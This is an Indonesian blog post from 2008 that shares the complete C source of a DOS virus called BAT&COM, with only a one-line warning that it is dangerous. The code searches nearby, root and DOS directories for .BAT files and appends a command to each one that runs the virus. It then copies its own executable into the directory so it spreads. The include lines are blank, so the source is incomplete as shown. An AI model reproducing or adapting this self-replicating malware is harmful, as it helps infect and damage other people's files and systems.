Jumat, 26 Desember 2008

Virus dengan Bahasa Program C Lagi

Kata Empunya nih..ni virus Berbahya Banget SOalnya gabungan dari BAT dan COM jadi
ati2 aja Ye...


#include

#include

#include

#include

struct ffblk ffblk;

main()

{

char old_dir[MAXPATH];

Get_Path(old_dir); /* Save the old directory */

Pick_A_Dir(); /* Find a new directory to */

Infect_Directory(); /* infect and infect it. */

chdir(old_dir); /* Return to old directory */

return 0;

}



Pick_A_Dir()

{

int done;

chdir(".."); /* First, Go out a DIR. */

done=findfirst("*.BAT",&ffblk,0); /* If no BAT files, try */

/* root and DOS */

if (done)

{

chdir("\\");

done=findfirst("*.BAT",&ffblk,0);

if (done) chdir("\\DOS\\");

}

return 0;

}



Infect_Directory()

{

int done;

done = findfirst("*.BAT",&ffblk,0);

while (!done) /* Find all .BAT files */

{ /* and add code to run */

Do_Batch(); /* BAT&COM if not */

done = findnext(&ffblk); /* already there */

}

if (findfirst("BAT&COM.COM",&ffblk,0)) /* If BAT&COM does */

{Copy_Virus();} /* not exist, then */

return 0; /* copy it into dir.*/

}



Do_Batch()

{

FILE *batch;

char Infection_Buffer[12];

char vpath[MAXPATH];

Get_Path(vpath); /* Get path for adding path */

/* specifier in commands */



if (vpath[3]==0) vpath[2]=0; /* Keep path good in root */

batch=fopen(ffblk.ff_name, "rt+");

fseek(batch, -11, SEEK_END);

fread(Infection_Buffer,11,1,batch);

Infection_Buffer[11]=0; /* Terminate String */

if (strcmp(Infection_Buffer,"BAT&COM.COM")) /* Check if */

{ /* Batch is */

fseek(batch, 0, SEEK_END); /* infected.*/

fprintf(batch,"\n%s\\BAT&COM.COM",vpath);

} /*^- Add command */

/* to batch */

fclose(batch);

return 0;

}



Copy_Virus()

{

FILE *old_virus, *new_virus;

int write_length;

char copy_buffer[1024]; /* Copy the virus to */

/* new directory */

old_virus=fopen(_argv[0],"rb");

new_virus=fopen("BAT&COM.COM","wb");

write_length=1024;

while (write_length==1024)

{

write_length=fread(copy_buffer,1,1024,old_virus);

fwrite(copy_buffer,write_length,1,new_virus);

}

fclose(old_virus);

fclose(new_virus);

return 0;

}



Get_Path(char *path)

{

strcpy(path, "A:\\");

path[0] ='A' + getdisk(); /* Returns current path */

getcurdir(0, path+3);

return 0;

}

Tidak ada komentar: